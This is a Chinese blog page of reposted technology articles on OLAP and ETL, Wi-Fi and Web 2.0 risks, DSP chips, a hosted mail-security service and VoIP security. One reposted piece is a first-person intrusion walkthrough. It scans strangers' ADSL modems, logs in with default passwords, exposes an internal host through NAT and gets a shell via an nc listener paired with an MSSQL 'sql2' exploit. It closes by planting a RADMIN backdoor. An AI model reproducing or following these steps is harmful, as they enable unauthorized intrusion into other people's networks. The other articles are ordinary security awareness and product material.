有效使用儲存空間也是未來OLAP平台的設計重點。一般多維度資料庫在建置時,各維度項目所交集的地方會留有儲存資料的空間,不論交會點中是否存在資料。這樣會造成多維度檔案的虛胖與整個資料的存放會產生稀疏的狀況而影響其效率。因此有些廠商提出只儲存non-missing資料的產品訴求,其用意在於,只儲存簡單的統計值也意謂著縮短資料倉儲建置的時間,讓IT部門能夠更容易且更快地維護資料庫。

使用者除了可以將查詢結果直接儲存成MS Excel試算表的格式外,還可以直接產生HTML格式的報表或繪成統計圖形並轉成GIF檔上網展示或直接E-mail出去,使資訊傳遞更有效率。此外,OLAP還可更進一步將分析結果中的異常或偏態的重點資料,顯著地標示在統計圖形上。使用者可以執行上捲(Roll-Up)與下挖(Drill-Down)的分析,以便快速找出問題所在。

未來OLAP的發展將會與企業其他的應用軟體如ERP與SCM等做更緊密的結合,另外一方面,在知識管理日益興起的情況下,未來的OLAP亦將與知識管理軟體如資料探勘與客戶關係管理做更好的整合,為知識管理做更大的加值的工作。而提供Web化的OLAP與Mobile的資料存取,讓主管們可以直接透過瀏覽器或PDA做資料分析,亦是一個重要的發展趨勢之一。

ELT工具

在一個資料倉儲建置專案裏,平均80%的工作時間都花在資料擷取(Data Extraction)、轉換(Transformation)以及載入(Loading)等任務上,因此ETL是導入資料倉儲過程中最重要,也是困難度較高的工作,因為這部份涵蓋了各個部門不同的型態資料、使用者的習慣、技術單位的認知。此一工具整合了日常交易事項的資料來源,包括傳統的檔案、交易資料、和ERP的資料來源,經過轉換、整合、篩選等過程後,將這些目標資料載入系統中。

一套設計完善的ETL工具可從舊有系統和作業平台等各種不同的平台上擷取超過50種不同的檔案格式,這些檔案格式包括:關聯式資料庫、階層式資料庫、文字檔、SAS資料檔,及其他特殊資料檔案,並進而有效整理或轉移至新的資料庫中,包括企業之中的關連式資料庫、ERP、CRM及大型主機內含的大筆資料,都可以進行整理,進而完成資料整合工作。為達成這些目標,通常在伺服器端有一個轉換引擎,提供簡易使用、管理控制、最佳效能的同時,處理複雜的資料轉換過程,而在使用者端則提供內建各種管理、設計、指導等元件的圖形式工具。

在進行資料轉換時,ETL先整理所擷取的資料,其工作包括資料驗證(Validation)、資料清理(Scrubbing)、資料整合(Integration)、新資料的產生(Structuring)、資料架構的非正規化(Renormalization)與資料彙總(Summarization)。在處理資料轉換的工作時,可同時開啟多個輸出檔與輸入檔、有 table look-up 的能力、有排名的能力、支援 SQL 指令、有算數、三角函數、亂數、機率與字串處理能力、日期與時間處理能力,資料彙總能力。

為了節省處理時間或避免產生過度的I/O等效能瓶頸,ETL一次從單一或多個來源端取出資料,如有必要時則處理此資料,之後傳送至目標端。ETL應用系統在記憶體內執行,並在最少資料傳遞下完成複雜的轉換。資料處理造成的磁碟作業愈少,處理過程完成的速度就愈快。這樣還可免除中介檔案或第二個儲存地點來進行匯集(aggregation)或中介排序(sorting),以減少I/O作業。此外,資料不需要被載回相關系統,再透過SQL重新處理,也可節省可觀的時間。

此外,ETL必須從多個、異質來源端來比較及合併資料或表單。企業的IT人員不需自行撰寫低階程式,可使用ETL提供之現成元件組成資料流圖表,使多個匯入的檔案相關,以完成連結與參考查看之目地。經由設計,ETL工具可依多個邏輯路徑來選擇性的複製多筆資料,以及依據「欄位」的價值水平地分隔多筆資料、和垂直地將不同的「欄位」傳送至每一個目標端。最後,ETL可將複製的表單傳送到不同的地理區域,且透過彈性與開放的載入策略(bulk loader、文字檔I/O, direct SQL等)將轉換後的資料載入至資料倉儲的資料庫中。

結論

在商業智慧領域,並沒有一套所謂的Total Solution,其產品類別多如繁星,除了本文探討的四項技術外,另外還有EIS與DSS(決策工具)、OLTP(線上交易工具)等,因為不同產業所要探勘、分析、處理、整合的資料截然不同,不同企業各自的需求或想要達成的目標也不一樣。因此之故,使用者必須在眾多解決方案中仔細評估,經由專業人士的協助以了解到底是IBM的IM解決方案(Intelligent Miner for DATA),或是SAS的EM(Enterprise Miner)較適合其目前與未來需求。使用者也可組合並搭配不同產品來架設最佳平台。

除了選擇合適的工具,如何輕鬆的駕馭這些工具,也是相當令人傷腦筋的,因為其中牽涉到極高度的專業背景與技術執行能力。以資料探勘為例,除了軟体工具外,還要有相關的知識與經驗,才知道如何處理原始資料、設定探勘參數、解釋探勘結果。一般業者自行做資料探勘可能遭遇困難。企業在選擇配合廠商時,也要將業者所提供的技術支援、咨詢服務與教育訓練等條件納入考量。
另外,商業智慧系統的應用導向建置也是一門學問,限於篇幅關係,留待後續討論。 

轉載自:http://www.nii.org.tw/cnt/ecnews/ColumnArticle/article_148.htm

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

大多數人可能知道怎麼安裝無線基地台(access point, AP),但你知道你的訊號涵蓋範圍有多大嗎?一般大多數的無線網路基地台都可以達到室內100公尺、室外400公尺的有效距離。甚至,很多人還將天線加大或是採用穿透力更佳的新型無線設備以獲取更好的傳輸效果。這表示什麼?表示理論上你家的無線網路基地台有很大一塊是在服務「外部使用者」,簡稱做功德、做善事。


AP訊號涵蓋範圍遠大過房屋而可能造福鄰居。(圖片來源:林宏嘉)
筆者有位友人,每次造訪他家我都會忍不住問他為何還不裝網路?他總是習慣右手遙指對面大樓說:「對面的訊號又強又快還從不加密,既然他要當好心大爺,我又何必自己花錢?反正我又不做壞事。」

在好笑之餘,我也好奇有多少人也當了冤大頭,借家中無線基地台給別人上網?為了實驗, 趁著一天要南下洽公之便,開著車將心愛的筆電穩穩的放至在乘客座上,硬體未經任何修改,經由適當的工具軟體沿路收集無線網路訊號。結果(如圖一),短短的數公里中228個無線網路熱點,扣掉需要付費的網路服務之後,我總共發現沒有透過WEP進行加密的竟然還有108個,其中也不乏公司行號! 47.3%可說是相當高的比例,也顯示已經使用無線網路、且自己架設基地台的使用者,對於自己的無線網路安全竟毫無警覺!

或許有人會說,這可能是因為上述的環境使用者對於安全認知較為薄弱吧!於是乎,不久後我又趁洽公之便,另尋目的地。其中之一可是台灣的高科技重鎮之一,加上我當天隨機挑選的南京東路的商業大樓區分別進行了兩次測試。這兩個對於安全需求程度較高的地區應該比較好了吧?兩次的測試數據結果,不加密AP比例在高科技重鎮為33%,在精華商業區為50%!看來認知與真相似乎有相當大的落差。

你是濫好人嗎?

當好心人固然不錯,不過在你不知對方來意之前,就要擔心好心會不會有好報。事實上,筆者另外一位友人就發生過無線網路被有心人借道攻擊而慘遭警告的慘痛教訓。

筆者一位公司設在台北郊區的友人,因為家族經營地產事業的關係,所以親近的家族成員均居住在緊鄰樓層之中,而他的無線網路也就順應民情庇蔭了親戚們的使用。又因為其他成員並不熟悉IT,因此他的無線網路也就自然而然未使用任何形式的加密。偶爾這位友人會因為親戚小孩在玩網路遊戲或是中毒流量略增,但充足的頻寬與良好的訊號讓他對存取他無線網路的行為不以為意,連自己公司架設的伺服器也變成親友們交換照片的集散地。直到後來,他連續收到國外某公司的郵件與電話通知,通知中說明他公司申請的IP位址與網段持續對他們進行攻擊造成困擾,希望能幫忙檢查一下是否有這類的狀況。友人大驚之餘,除了奔相走告親友關閉自家電腦外,連忙請我去協助處理。


筆者測試路程中所有未加密AP之分佈與訊號層層相疊的涵蓋情形。(圖片來源:林宏嘉)

一檢查無線基地台上的連線紀錄這才發現事情有夠大條。因為整個基地台不僅僅他們親友使用,清單上竟然多出了十幾個陌生的MAC位址;這些位址不知隱身在週遭的公寓哪一角落,借用他的基地台攻擊他人的網路、使用了P2P瘋狂下載,更甚者在他的伺服器上開了個下載分享的檔案空間供人下載,裡面放置了數十G違法的影/圖片、音樂與應用程式(好險還沒被發現)。緊急處理之後,即便筆者為其設定密碼維持基本安全性,不過還是讓他對於無線網路從此敬謝不敏,關閉以杜絕後患。

恐怖吧?無線基地台不加密,頻寬被占用事小,更可怕的是它可能讓你惹禍上身!讓任何人可以免費搭上你的無線網路,的確可說有著聖經中撒馬利塔人式的情操,但你也可能因此變成無辜的代罪羔羊。

無線網路已是現代生活不可或缺的一部份,它帶給行動族與家庭許多便利,但也正因為連線的無形讓人忽略了風險。下次若你想搭免費無線便車,或是以為借人搭一下沒有什麼要緊時,請你再多想三秒鐘!防禦方法已是老生常談,本文只是再次提醒安全的重要性:只要設定WEP、WPA加密,不使用預設SSID 那麼簡單的動作,以及登入你確信是安全的AP,你就能避免上述的恐怖事件。 轉載自:http://www.zdnet.com.tw/enterprise/column/csi/0,2000085696,20123621,00.htm 

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

 

還記得你有多少次曾經因為找到可以免費的無線AP而沾沾自喜?還記得你連上時都做了些什麼?還記得那些網點是誰提供的?

當筆記型電腦內建無線網路功能,隨處上網已經從過往「貴族享受」變成「筆電族的基本人權」。不過,這個權利仍受限於可以使用無線網點的位置而大打折扣,誰教欲望無限,但是荷包有限,付費服務讓人卻步,也因此常常可以看到有人分享哪邊可以無線上網,甚至連訊號方位都幫忙指出,但安全的問題也在免費的引誘之下而被拋到腦後。

經過媒體幾年來的報導,原本我以為無線網路的安全與隱私性已經是基本常識,但最近週遭親近友人發生幾件事讓我對這個老掉牙的議題又燃起了興趣,研究結果也大出我意料之外:原來,安全並不是那麼基本的知識啊。看了幾張圖片後,包括Google Maps,讀者們對AP的不安全性或許可以感受得更強烈一點。


台北市某段路沿途中無線基地台的分布狀況(紅色代表AP未加密,綠色為有加密AP)。這些未加密的AP中有多少是陷阱不得而知。(圖片來源:林宏嘉)。

小心搭上恐怖無線便車

搭便車的情節在電影中比比皆是,尤其是恐怖、驚悚類型;從近期的幽靈終結者2007到古早以前已經忘記名字的黑白片,搭便車的情節幾乎都在慘叫與血腥中收尾。

真實生活中,相信大家也曾經在公開場所,猶如搭便車一般地連上免費無線網路。不管是為了查資料、收信、下載或聊天,你所傳輸的資料裡面一定或多或少有些隱私訊息,像是郵件帳號、電話號碼或是如果所存取網頁中有個人隱私的資料等。你是否考慮過是否有所謂的「訊息陷阱」隱藏在後?你也無從得知是否有人在上面靜靜潛伏等你自投羅網?憑藉著薄弱的信任,快意上網的同時,似乎大家都疏忽了搶搭無線便車會帶給你多大危機!

威脅何在?從無線的訊號來看,基地台就只有連上與否的問題;可是你知道嗎?看似無害的免費基地台,只要稍加變化網路環境要截取資料是相當簡單的一件事情。因為只要區區數百元的硬體成本,再針對實體網路架構小小的調整之後就可以達成,堪稱物廉價美。透過這樣變更過的架構,所有資料均可以鉅細靡遺的蒐集殆盡,到這個時候免費的使用者只能任人魚肉。


利用特定軟體,經由AP連網的使用者資料及活動,都呈現得一清二楚,包括協定、MAC、來源IP及目的地IP,甚至來源與目的地傳輸埠及時間也都看得到。(圖片來源:林宏嘉)。

筆者某位友人就是一位標準的「活動聊天室」,走到哪聊到哪,MSN斷線超過半小時對他已經是種折磨。他常常跟筆者炫耀號稱有行動上網葵花寶典,詳實記載了在哪可以免費上網的地方,連排名都有哩。某天午後我的MSN跳出他的對話視窗「大哥,我被恐嚇騷擾了!」剎那間我還會意不過來,誰那麼好膽敢去騷擾一個身形壯碩的大男人?一經追問他才說道,「我跟某位正妹聊天的內容被錄下來了,對方傳給我當時的對話內容為証據,還說要寄給我老婆!」

聊天內容屬於私德我無心過問,但是被側錄我就有興趣了。我先詳細幫他檢查有沒有被植入後門等被入侵的跡象,在沒有任何可疑徵狀之後,緊接著再詢問他上網的歷程與地點,並且逐一實地測試(測試採用了另一個全新申請的帳號,重複了相同的情境),兩天後一樣的恐嚇戲碼又再次上演。真兇現形了:原來貪圖便利使用不知名的無線AP,竟然是這個被側錄事件的導因。只要有人在AP上加上側錄軟體,等待有貪小便宜的的人上門,等他上鉤後,那可憐使用者的所有資料及活動,包括協定、MAC、來源IP及目的地IP,甚至來源與目的地傳輸埠及時間、或上什麼網站也都一覽無遺。等你的資料到手後,他要冒名作案、要恐嚇取財,什麼都有可能。搭無線便車?小心搭到恐怖便車。

千萬別以為只有搭便車的倒霉,開車給別人搭的也安全不到哪去。君不見電影中身材曼妙的女郎或是英俊挺拔的帥哥,上車後搖身一變成了殺人兇手(或是大帥哥布萊德彼特在電影《末路狂花》中演的搭便車非禮之徒)。 無線網路和現實生活的世界恐怕也是一樣危險呢。事實上,筆者另外一位友人就發生過無線網路被有心人借道攻擊而慘遭警告的慘痛教訓。

 

 

 

 

轉載自:http://taiwan.cnet.com/enterprise/column/0,2000062893,20123561,00.htm

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

 

「時代」雜誌曾專文將Web2.0定位為「The Year of You」,然而在這個人人都可在網頁當家作主的新時代,許多網路威脅也隨之衍生而出。各類網站服務上的各種web應用,任何不經意的小動作都可能使PC被植入惡意程式,進而引發大小不一的災難,小至當機、大至銀行帳戶被淘空。我們整理了幾個網友常常容易踩到的「地雷」,這些看似平常的動作,究竟暗藏了哪些危險:

‧「部落格大開惡意程式方便之門」

有人在你的部落格留言,為了禮尚往來幫他衝人氣,你通常也會到對方部落格留言。然而如果這網站有著 iFrame 安全弱點,如日前的義大利逾千個網站遭入侵案例,「只要看一眼」便會觸發一連串的惡意程式不請自來。

‧「交友網站內藏蠕蟲」

許多網友會被交友網站中超高人氣的個人介紹所吸引,而進一步瀏覽相關個人資料。曾有十九歲駭客Samy Kamkar在知名度極高的交友網站MySpace上,放上與個人簡介資料同名的蠕蟲「Samy」,導致瀏覽過該資料的上百萬網友不知不覺便中了病毒!

‧「網路交友當心資料遭竊」

在網路上透露個人所有秘密,包含你是王建民的頭號粉絲、你喜歡用網路進行股票交易等,殊不知簡單的交談卻容易惹來大麻煩。International Security Partners曾經成功模擬並執行的案例發現,駭客可以假裝到交友網站結識網友,在瞭解其興趣後取得信任,比如傳送「最喜歡的棒球選手即將被交易至其他球隊!」的運動網站報導連結,並暗中發動XSRF(Cross-site Reference Forgery跨網站參照偽造)攻擊,藉以冒用受害網友的身份驗證資料,轉帳結清他原來的帳戶餘額。

‧「免費的禮物變炸彈」

另外,還有某影片網站在造訪時會跳出必須下載影片解碼程式才能觀賞影片的視窗,事實上網友一按下下載的並非解碼程式,而是稱為Freeloaders的「黑心軟體」,它會反覆警告網友已經感染某種形態的惡意程式,並提供「免費試用」功能,然後再進一步要求網友付費升級以獲得完整功能。待網友發現這些線上刷卡購買的軟體毫無用處時,信用卡資料早已被這些虛設的公司盜走了!

防護也要與時俱進

上述現象其實這也不是Web 2.0時代才發生,只是新的網頁技術工具的漏洞及社群互動特性等,使駭客更加有隙可乘。舉例來說,以HTML製作網頁,使用者必須重新載入網頁才能檢視更新的資料集,若使用AJAX即可大幅縮短載入時間,並加強與應用程式的互動效果。然而由於AJAX程式碼的利用加上能發佈在任何網站的自由彈性,使得合法網站與惡意網站愈來愈模糊難辨,也為駭客創造出更廣泛的攻擊面,目前已經發現AJAX已被用於XSS與XSRF攻擊。而這種攻擊已不是傳統靜態網址過濾技術可以防止。因此更新的防護措施應運而生。

『網頁信譽評等技術』就是其中之一。以我們家的技術而言,它是動態匯集、監視及評估一份完整的註冊網域名稱清單,並根據網域名稱註冊人資訊 (註冊IP位址時必須提供的公開資訊) 加以檢查,這是因為在監控網站註冊人與網站主機位置等資訊一段時間之後,即能產生有關特定網域可靠性的參考資訊。舉例來說,經常變換位置可能是網站安全性堪慮的重要指標,因為駭客會頻頻變更IP位址的實體位置以躲避偵測。此外,新網站若吸引異常高數量的點閱率也會引起警戒,因為這可能是病毒產生的流量傳輸至特定網站的跡象。其他指標如地理位置,也能作為特定網站的可靠性或合法性的參考資訊。當然,確認網站安全與否,還仰賴其他已知網路釣魚、網站嫁接以及其他惡意網址的資料庫來檢查網站。

對大部分網友而言,Web 2.0的發展具有革命性意義,然而,在享受更新奇的網路服務的同時,請小心無所不在的陷阱。 

轉載自: http://www.zdnet.com.tw/enterprise/column/security/0,2000085711,20121737,00.htm

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

 

科技的進步早已讓我們的感官超越自然界中聲音及影像傳播的各種限制。在短短25年間,那一片隱藏在手機、相機和MP3等各式電子裝置中的小小晶片─數位訊號處理器(DSP),已經徹底改變了我們在社交、工作、學習以及娛樂等生活層面的行為模式。DSP所掀起的數位產品革命,更讓以往只可能存在於想像中的數位生活藍圖成為現實,帶來無限可能。

今年是DSP誕生的25週年,也代表人類數位化生活歷經了四分之一個世紀,儘管這段歷史只是人類漫長發展史上的一個小片段,但卻為全球帶來了前所未有的變化。人類的思考模式也因此大幅改變,時間的概念從分秒細微到毫秒、微秒;距離的概念則從數萬公里放大到億萬光年;「數位化」也不再只是遙不可及、專屬尖端科技的名詞。隨著科技的進步與發展,隨時隨地溝通與娛樂的需求已逐漸被喚起,因此各種訊號處理技術的重要性也被突顯,DSP已成為目前以及未來所有電子創新應用產品的核心驅動力。

在回顧和展望DSP技術的過往與未來之前,我們先來談談什麼是DSP技術。DSP (Digital Signal Processor)數位訊號處理晶片是一種快速、功能強大的微處理器,可將現實世界的聲音、影像、圖像轉換成數位世界的「0」和「1」,這些數位訊號經過處理、修改和強化,再經過類比晶片的轉換,即可再次轉化為人們可以感受到真實世界的各種訊號。


我們依靠視覺、聽覺、觸覺、嗅覺等感官功能感受並和周遭環境產生互動,而自然界還有光、聲音、溫度、壓力等現象,這一切都屬於類比訊號。隨著電子技術的進步,各種數位產品也帶來嶄新的數位生活。電子產品所處理的是屬數位訊號,而我們能感覺到的則為類比訊號,因此消費者在使用電子產品的過程中,必然會產生一個個完整的訊號鏈,也就是這些電子產品必須來來回回地進行數位與類比訊號之間的轉換。任何一個訊號鏈系統,都會先獲取來自類比世界的訊號,然後將類比訊號轉化為數位訊號,經過DSP處理後,再還原為類比訊號(見下圖)。

訊號鏈中的DSP

可發聲拼寫工具 (Speak & Spell) 開啟DSP應用大門

70 年代,德州儀器(TI)位於休斯頓辦公室的工程師開始反覆討論DSP晶片的應用。1976 年在一場腦力激盪會議後,一群具有創意且充滿熱情的工程師提出了一套有趣的想法─開發一種可發聲的拼寫教育產品。當時小組成員的任務包括積體電路設計、IC 設計、可編程 DSP理論等。皇天不負苦心人,在團隊合作下,享有盛名的 Speak & Spell 技術終於誕生。Speak & Spell 是美國歷史上著名的拼寫玩具,而這個產品的成功也預告了DSP 技術的發展潛力。半導體業界因此相信,既然能夠用 DSP 做玩具,那麼DSP勢必也能應用於其他領域﹗

推出第一顆商用DSP晶片後,又以五年的時間來傳播DSP的技術種子,進而成功利用DSP 技術推動全球科技的爆炸性發展及應用。此後,許多能將聲音、圖像等現實世界中的類比訊號轉換為電子設備能解讀或傳輸的數位訊號技術相繼出現,逐步產生了許多突破性的發展。截至目前為止,DSP晶片已廣泛應用於手機、寬頻網路、硬碟驅動器與三維圖像等多重應用。自 1982 年以來,業界已經銷售了 100 億顆 DSP,應用於包括手機、MP3、數位相機與電腦等各種電子產品中。

未來願景

汽車能自動駕駛和停車?生物科技能製造出以假亂真的四肢和眼睛?安全系統能自動發現入侵者並立即報警?手錶能監控脈搏與血壓,並在心臟病發作前即時發出警報?

聽起來不可思議嗎?其實這些如同科幻電影般的情節正逐漸實現,這一切都要歸功於高效能的 DSP晶片。現在的重點已不在於技術發展的程度,而是往後技術的走向。我們關注未來DSP能做些什麼,能帶來什麼樣的生活。新型 DSP 應用正在發效,不過許多令人振奮的應用其實早已出現在眼前。

自動駕駛不是夢

上班尖峰時間,愛車能透過自動駕駛技術檢測並巧妙避開擁塞路段。不僅不需擔心路況,還能減輕駕駛負擔,甚至在行車時間,即使身為駕駛人也可透過手機的家庭劇院功能觀看最熱門的好萊塢電影,或是一邊觀看NBA總決賽,一邊完成「聯合公園」巡迴演唱會的訂票。愛車會直駛至辦公室,完成自動停車。這豈不是駕駛人夢寐以求的貼心服務。

汽車自動駕駛可分為四個實踐階段︰

第一階段,汽車視訊系統可幫助駕駛人監看視線死角

第二階段,汽車視訊系統可提供駕駛建議。舉例來說,如果駕駛人要變換車道但相鄰車道正值有車疾行,系統則可透過方向盤震動的方式來提醒潛在的危險。

第三階段,汽車視訊系統可給予行車意見。當然駕駛人仍可以選擇是否接受系統的操作。

最終目標,就是無人駕車﹗

目前離最終目標還有 10 到 15 年的努力,不過這個目標在技術上一定能予以實現。唯一的障礙在於人們是否能放棄駕駛的樂趣,接受改變。即便如此,在人們能完全接受無人駕駛前,自動駕駛技術就能完成(待續)。

註: DSP技術簡介

數位訊號處理器 (Digital Signal Processor,DSP) 是一種效能強大的處理器,主要特點在於能夠即時處理訊號,因此適用於無法容忍任何時間延誤的產品。目前DSP已經被廣泛應用在行動電話、消費性電子產品(數位相機、數位相框、各種多媒體播放器)、電腦與周邊、無線基地台、數據機、工業控制、汽車電子、測量,以及數位視訊等各種應用。在一般大眾日常生活中扮演日漸重要的角色。

 轉錄自:http://taiwan.cnet.com/enterprise/technology/0,2000062852,20121692,00.htm

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

作者:網擎資訊 線上服務部經理 李孟秋

國內知名軟體廠商網擎資訊 (Openfind),日前推出新型態的郵件安全委外服務,企業或組織可將第一線的收信主機,即DNS的MX Record,設定到專業的電信機房,由該服務負責防禦DoS、駭客入侵等攻擊,並過濾垃圾信與病毒後,再將乾淨的信件即時送回位於後端、現行的郵件主機。

MailASP郵件安全服務採用MailGates郵件防護系統核心技術,在台灣與日本已有多家ISP業者導入。經實際上線測試,MailGates過濾信件平均只需0.02秒,可以做到幾乎無延遲的即時回應。據統計,一般企業信件中約有九成為廣告、色情、詐騙、病毒等不當信件,如果可以在外部先濾除這九成的垃圾信後,原郵件主機與網路頻寬的負擔,頓時少了90%,主機當機、網路塞車等風險便可大幅降低。也就是說,加上這層強大的外部防護後,企業不但不會覺得效能降低,反而覺得收發信加倍順暢、輕鬆。

事實上,現今多數企業早已導入各式Anti-Spam解決方案,雖然說採用委外服務方式與在企業內部實際建置一般郵件安全系統,兩者的過濾效果可能大同小異。其最大的差異在於「代管」服務的本質,一但郵件防護與郵件主機兩者的距離拉開後,將產生那些結構性的變化?在人人皆有Anti-Spam解決方案的情況下,為何廠商還要推出代管服務?台灣企業真的有「郵件安全委外代管」的需求嗎?

其實,此類服務在國外早已盛行多年,例如MXLogic或MessageLab等業者,都有提供完整的郵件安全服務。然而,為何採取「委外代管」方式的郵件安全解決方案,會有無可取代的優勢呢?在回答這些問題之前,讓我們進一步分析優異的郵件安全系統應具備那些特性:

一、 系統架構必須要夠堅固、夠強壯:
一間公司要收信,就必須對全世界公布MX Record,也就是說MX主機位址是公開的資訊。所以不論在效能、穩定性方面,或是防禦各式攻擊的能力,MX主機的能耐都必須在水準之上,不斷電、備援等系統設施也應備齊,否則主機一有問題,公司立刻收不到信,嚴重的攻擊情況更可能危及重要的信件資料。

二、 系統必須位於優良的網路骨幹上、頻寬充足:
一般公司企業由於網路頻寬有限,若郵件主機位於公司內,只要有員工下載大檔案,整個公司不僅所有人上網速度受影響,郵件的收發也會停滯、一起塞車。若遇有員工不慎中毒等情形,更是企業網路的一場浩劫,往往嚴重影響郵件收發、延誤商機。

三、 過濾核心與樣本必須隨時維持最新版:
垃圾信問題延燒數年仍然未根除,主因是廣告信業者不停變換信件內容與發送方式;相對地,各致力於垃圾信防治的廠商,除了要有能力收集大量最新垃圾信樣本外,更應以最快的方式,更新其過濾核心、過濾規則與相關樣本到客戶端,否則將無法因應千變萬化的垃圾信洪流。

以上三項特質,其實正是「代管」服務的強項!提供委外服務的廠商可在國內的電信骨幹機房中,準備充足的頻寬和頂級的硬體設備,例如工業級伺服器主機、專屬儲存媒體與備援系統;以電信機房365x24x7不斷電、不斷線的環境,輔以專業人員全年無休、隨時監控,如此的服務品質,不論是軟硬體的穩定度、網路頻寬的質與量,相較於企業內部自行架設Anti-Spam解決方案都來得優良許多。

此外,以代管方式提供的郵件安全服務,更衍生以下效益,是原本架設於企業內部的Anti-Spam產品無法達到的:

一、 節省企業頻寬與儲存成本:由於MX主機代管位於企業網路之外,並提供「留置垃圾信」的功能,在超過九成的信件皆為垃圾信的情況下,企業的頻寬將不再浪費於垃圾信與連線攻擊;企業的郵件主機或員工的個人電腦,亦不再需要儲存大量的垃圾信件。企業僅需支付單純的代管費用,即可省下原本被垃圾信浪費掉的頻寬與儲存成本。

二、 可做為郵件主機備援:一般中小型企業或組織礙於預算考量,其郵件主機可能無法考慮到不斷電、Active-Active雙備援等系統規劃,若遇有公司停電、天災或人為等意外狀況發生,公司的收發信將立刻中斷,需要一段時間始能恢復。反之,若交由專業代管業者維運,提供良好的備援設備及穩固的系統架構,往往能達成99.99%以上的可用性(即,全年服務中斷不超過53分鐘);企業郵件主機即使短時間不能收信,委外代管的MX主機能仍保持運作代收信件,讓企業商機不致中斷。

近年來「資訊委外」相關議題中,其實已討論了許多委外代管的好處,而「郵件安全與防護」其實正是最適合委外的資訊應用,這也是為什麼國外的MX代管服務如此盛行的原因。Openfind網擎資訊以深耕郵件系統近十年的技術與經驗,推出「MailASP郵件安全服務」此一新型態的代管服務,便是因為這是能實際幫助客戶輕鬆維運企業IT、保障郵件安全的最佳解決方案;MX收件主機委外代管,實是這一波聰明委外的浪潮中,最值得注目、也最能為企業帶來廣大效益的新服務。


@詳細資訊請參考:

MailASP郵件安全服務 http://www.mailasp.com.tw
Openfind 網擎資訊軟體 http://www.openfind.com
或洽 網擎資訊 業務部 (02)2369-7575 分機 888 sales@openfind.com

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

 

也許看爛了網上已有的常規黑客攻擊手段,對一些陳舊的入侵手法早已厭煩,近來我對ADSL MODEM的路由功能產生了濃厚的興趣,經過一番努力,我終於找到了穿透ADSL路由入侵內網的方法,在這裡和各位一起分享我的心得。

一.掃瞄

現在很多ADSL MODEM都是通過80、23、21三個端口來管理,但80、21端口有很多服務器都有打開,沒什麼特徵性,於是我選擇了23端口。打開我的至愛:SUPPERSCAN,填上我所在地區的IP段,(跨多幾段都沒關係,反正SUPPERSCAN的速度就是快)眨眼間,結果出來了。開23的主機還真不少,我挑了幾台出來,在瀏覽器那裡輸入IP:218.xxx.xxx.xxx,OK。登陸對話框出來了,輸入USER:ADSL pass:adsl1234(因為我這裡的adsl modem一般是華碩的,缺省是adsl adsl1234),好了,一矢中的,現在我就是上帝。

二.映射

入侵已經成功了一半,要進一步入侵內網,我門要進行端口映射,但是我連內網的拓撲都不知道(更不用說內網主機的端口開放情況了)又怎麼映射呢?在此,我選擇了猜測。一般來說,MODEM的內網IP缺省是192.168.1.1,而大多數就把自己主機的IP設成192.168.1.2。因此我們只要試試把192.168.1.2的端口映射出來就行了(但如果使用了dhcp就麻煩了)但是192.168.1.2到底開放了什麼端口,我們根本就不知道啊。呵呵,既然不知道,那麼我就把他整台主機透明地映射到外網。具體做法如下:進入NAT選項---添加NAT規則---BAMID---填入主機IP:192.168.1.2,到此192.168.1.2已經透明地映射到192.168.1.1上,我們訪問ADSL MODEM就等於訪問主機192.168.1.2了。

三.檢測漏洞

現在我們再請出SUPPERSCAN對218.xxx.xxx.xxx進行掃瞄,呵,看到沒有?掃瞄結果已經不同了,開放的端口是139、1433等,剛才只是開放了80、23、21而已(也就是說我們的映射已經成功了)該是X-SCAN出手了,用它來掃弱口令最好不過了,但掃瞄的結果令人失望,一個弱口令也沒有,看來管理員還不算低啊。

四.溢出

既然沒有弱口令,也沒開80,那只好從逸出方面著手了,但沒開80、21也就webdav .sevr-u的溢出沒戲了,很自然,我嚮導了RPC溢出,但實踐證明RPC溢出也是不行的,LSASS溢出也不行

五.募然回首,那人卻在,燈火闌珊處

看來這個管理員還是比較負責的,該打的補丁都打上了。這時侯,我的目光轉移到1433上了(嘿,不知道他打了SQL補丁沒有?,心動不如行動,現在只好死馬當活馬醫了,於是:

nc -v -l 99 sql2 218.xxx.xxx.xxx 0 218.xxx.xxx.xxx 99


這樣就成功得到一個shell了。

六.設置後門

到這裡,我們的入侵已經成功了,餘下的是掃尾留後門,至於後門,我一般都是用FTP上傳RADMIN上去的,呵呵,這裡不詳談了,相信各位都知道。

轉載自: http://safe.ccidnet.com/art/6563/20070709/1138019_1.html

香醇咖啡 發表在 痞客邦 留言(0) 人氣()

如果實現VoIP,安全是個需要考慮的重要事項,因為VoIP中的每一節點都像計算機一樣是可訪問的。VoIP易遭受DoS攻擊以及遭黑客入侵的網關會導致發生未經授權的免費呼叫、呼叫竊聽和惡意呼叫重定向等問題
 
。VoIP還帶來某些特定的安全挑戰。例如,必須對VoIP呼叫的兩個部分(呼叫建立信息和實際呼叫媒體流)進行審查。事實上,僅今年所報道的與VoIP有關的安全事件數量就比2004年前所有年份所報道的總數還要多。  

  VoIP協議有幾個。VoIP專家們可能會提倡不同的協議,因為這些協議各有優點,但在安全問題上,對大多數VoIP協議來說,卻有幾個需要共同考慮的事情:運用最佳的安全建議可以消除額外的風險和攻擊。  

  VoIP的安全漏洞  

  VoIP基礎設施需要添加專用交換機系統、網關、代理、註冊和定位服務器以及撥打到IP骨幹網的電話。每一個VoIP組件在數據網絡上都像其他計算機一樣是可尋址和可訪問的。每一VoIP組件都包括一個運行軟件的處理器和可能遭受攻擊的TCP/IP堆棧。對數據通信的攻擊可通過IP語音基礎設施進行。針對脆弱的VoIP組件的DoS攻擊會用虛假的語音通信擁塞網絡,降低網絡性能或中止語音和數據通信。此外,如果PC感染了截獲LAN通信包的特洛伊木馬病毒,基於PC的軟電話就會非常容易遭到竊聽。VoIP漏洞還可被利用來對DMZ(非軍事區)中的服務器和主機發動bounce攻擊。 簡而言之,VoIP使語音通信面臨與數據通信一樣的安全威脅。同時,VoIP也帶來了一些安全挑戰。VoIP電話呼叫有兩個組成部分—呼叫建立的交換信令信息和傳輸「語音」媒體流。 信令和媒體路徑是分離的,需要在使用VoIP進行通信的兩部分之間建立邏輯連接。  

  VoIP安全建議  

  以滿足需求為前提 在使用不同協議和不同廠商VoIP設備問題上可能既會有贊成意見也會有反對意見。要確保所選擇的設備能滿足你的需求,改變需求以支持特定廠商的設備是非常危險的行為。  

